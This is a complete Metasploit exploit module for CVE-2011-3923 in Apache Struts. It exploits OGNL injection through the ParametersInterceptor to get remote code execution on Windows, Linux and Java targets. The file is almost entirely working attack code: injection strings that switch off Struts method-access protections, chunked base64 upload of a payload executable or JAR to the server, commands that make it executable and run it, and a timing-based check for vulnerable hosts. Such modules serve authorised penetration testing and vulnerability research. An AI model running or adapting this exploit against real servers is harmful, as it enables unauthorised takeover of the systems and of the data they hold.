Apache Struts - 'ParametersInterceptor' Remote Code Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts ParametersInterceptor Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
        for the use of parentheses which in turn allows it to interpret parameter values as
        OGNL expressions during certain exception handling for mismatched data types of
        properties which allows remote attackers to execute arbitrary Java code via a
        crafted parameter.
      },
      'Author'         =>
        [
          'Meder Kydyraliev', # Vulnerability Discovery and PoC
          'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
          'mihi' #ARCH_JAVA support
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-3923'],
          [ 'OSVDB', '78501'],
          [ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
          [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
        ],
      'Platform'      => [ 'win', 'linux', 'java'],
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'windows'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
      'DisclosureDate' => 'Oct 01 2011',
      'DefaultTarget' => 2))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
          OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
          OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
    ], self.class)
  end

  def execute_command(cmd, opts = {})
    inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
    inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
    inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
    inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
    uri = String.new(datastore['TARGETURI'])
    uri = normalize_uri(uri)
    uri.gsub!(/INJECT/,inject) # append the injection string
    resp = send_request_cgi({
      'uri'     => uri,
      'version' => '1.1',
      'method'  => 'GET',
    })
    return resp #Used for check function.
  end

  def exploit
    #Set up generic values.
    @payload_exe = rand_text_alphanumeric(4+rand(4))
    pl_exe = generate_payload_exe
    append = 'false'
    #Now arch specific...
    case target['Platform']
    when 'linux'
      @payload_exe = "/tmp/#{@payload_exe}"
      chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
      exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
    when 'java'
      @payload_exe << ".jar"
      pl_exe = payload.encoded_jar.pack
      exec_cmd = ""
      exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
      exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
      exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
      exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
      exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
      exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
      exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
      exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
    when 'windows'
      @payload_exe = "./#{@payload_exe}.exe"
      exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
    else
      fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
    end

    #Now with all the arch specific stuff set, perform the upload.
    #109 = length of command string plus the max length of append.
    sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
    chunk_length = 2048 - sub_from_chunk
    chunk_length = ((chunk_length/4).floor)*3
    while pl_exe.length > chunk_length
      java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
      pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
      append = true
    end
    java_upload_part(pl_exe,@payload_exe,append)
    execute_command(chmod_cmd) if target['Platform'] == 'linux'
    execute_command(exec_cmd)
    register_files_for_cleanup(@payload_exe)
  end

  def java_upload_part(part, filename, append = 'false')
    cmd = ""
    cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
    cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
    cmd << "#f.close()"
    execute_command(cmd)
  end

  def check
    sleep_time = datastore['CHECK_SLEEPTIME']
    check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
    t1 = Time.now
    print_status("Asking remote server to sleep for #{sleep_time} seconds")
    response = execute_command(check_cmd)
    t2 = Time.now
    delta = t2 - t1


    if response.nil?
      return Exploit::CheckCode::Safe
    elsif delta < sleep_time
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Appears
    end
  end

end